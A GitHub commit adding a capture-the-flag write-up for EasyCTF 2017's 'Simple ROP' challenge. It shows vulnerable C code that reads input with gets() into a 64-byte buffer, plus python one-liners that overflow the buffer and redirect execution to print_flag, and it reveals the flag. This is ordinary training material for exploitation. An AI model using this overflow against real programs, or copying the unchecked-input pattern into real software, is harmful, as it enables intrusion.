Skip to content

Commit b844257

Browse files
author
VoidMercy
authored
create simple rop writeup
1 parent a57512b commit b844257

File tree

1 file changed

+61
-0
lines changed

1 file changed

+61
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Simple ROP - 120 Points
2+
3+
Read flag.txt
4+
5+
[Source](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/simple-rop/simple-rop.c)
6+
7+
[Binary](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/simple-rop/simple-rop?raw=true)
8+
9+
### Solution
10+
11+
###### Writeup by VoidMercy from phsst
12+
13+
We were given a binary and it's source code.
14+
15+
```
16+
#define _GNU_SOURCE
17+
#include <stdio.h>
18+
#include <stdlib.h>
19+
#include <sys/types.h>
20+
21+
void print_flag();
22+
void what_did_you_say();
23+
24+
int main(int argc, char* argv[])
25+
{
26+
gid_t gid = getegid();
27+
setresgid(gid, gid, gid);
28+
what_did_you_say();
29+
return 0;
30+
}
31+
32+
void print_flag()
33+
{
34+
system("cat flag.txt");
35+
}
36+
37+
void what_did_you_say()
38+
{
39+
char buff[64];
40+
gets(buff);
41+
printf("You said: %s\n", buff);
42+
}
43+
```
44+
45+
As the problem name suggests, this is a problem that uses ROP. We can see that we have to call the function print_flag() to get the flag, so we first get the address of this function with:
46+
47+
>objdump -d simplerop | grep "print_flag"
48+
49+
We find the address of print_flag to be: 0x804851a
50+
51+
Then, we have to find out the number of characters until we gain control of eip through the return address. Afterwards we append the address of print_flag() in little endian order (reversed order in chunks of 2 bytes), then pipe the input through python (to print the non printable ascii characters).
52+
53+
```
54+
python -c 'print "A"*64+"\x1a\x85\x04\x08"' | ./simple-rop #NO SEG FAULT, NOT ENOUGH CHARACTERS
55+
56+
python -c 'print "A"*76+"\x1a\x85\x04\x08"' | ./simple-rop #GOT THE FLAG! 76 IS A PRETTY COMMON SIZE FOR AN ARRAY OF 64 CHARS
57+
```
58+
59+
## Flag
60+
61+
>easyctf{r0p_7o_v1ct0ry}

0 commit comments

Comments
 (0)